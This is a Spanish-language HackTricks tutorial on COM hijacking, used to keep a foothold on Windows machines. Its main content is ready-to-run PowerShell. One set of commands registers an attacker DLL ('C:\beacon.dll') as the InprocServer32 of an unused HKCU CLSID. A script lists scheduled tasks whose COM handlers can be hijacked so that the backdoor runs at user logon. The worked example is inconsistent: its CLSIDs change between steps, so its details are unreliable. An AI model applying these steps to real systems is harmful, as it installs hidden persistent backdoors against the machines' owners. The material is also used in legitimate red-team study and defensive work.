6.5 KiB
Secuestro de COM
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
-
Consigue el swag oficial de PEASS y HackTricks
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Búsqueda de componentes COM inexistentes
Como los valores de HKCU pueden ser modificados por los usuarios, el Secuestro de COM podría ser utilizado como un mecanismo persistente. Usando procmon
es fácil encontrar registros de COM buscados que no existen y que un atacante podría crear para persistir. Filtros:
- Operaciones RegOpenKey.
- donde el Resultado es NOMBRE NO ENCONTRADO.
- y la Ruta termina con InprocServer32.
Una vez que hayas decidido qué COM inexistente suplantar, ejecuta los siguientes comandos. Ten cuidado si decides suplantar un COM que se carga cada pocos segundos, ya que eso podría ser excesivo.
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
Componentes COM del Programador de tareas secuestrables
Las tareas de Windows utilizan disparadores personalizados para llamar a objetos COM. Y debido a que se ejecutan a través del Programador de tareas, es más fácil predecir cuándo se van a activar.
# Mostrar CLSID COM
$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks)
{
if ($Task.Actions.ClassId -ne $null)
{
if ($Task.Triggers.Enabled -eq $true)
{
$usersSid = "S-1-5-32-545"
$usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "Nombre de la tarea: " $Task.TaskName
Write-Host "Ruta de la tarea: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
}
}
}
# Salida de ejemplo:
# Nombre de la tarea: Ejemplo
# Ruta de la tarea: \Microsoft\Windows\Ejemplo\
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
# [más resultados similares al anterior...]
Revisando la salida, se puede seleccionar una tarea que se va a ejecutar cada vez que un usuario inicie sesión, por ejemplo.
Ahora, buscando el CLSID {1936ED8A-BD93-3213-E325-F38D112938EF} en HKEY_CLASSES_ROOT\CLSID y en HKLM y HKCU, por lo general se encontrará que el valor no existe en HKCU.
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
Name Property
---- --------
InprocServer32 (default) : C:\Windows\system32\some.dll
ThreadingModel : Both
# Exists in HKLM
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize
Name Property
---- --------
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler
# Doesn't exist in HKCU
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
Entonces, simplemente puedes crear la entrada HKCU y cada vez que el usuario inicie sesión, tu puerta trasera se activará.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
-
Descubre The PEASS Family, nuestra colección exclusiva de NFTs
-
Obtén el swag oficial de PEASS y HackTricks
-
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
-
Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.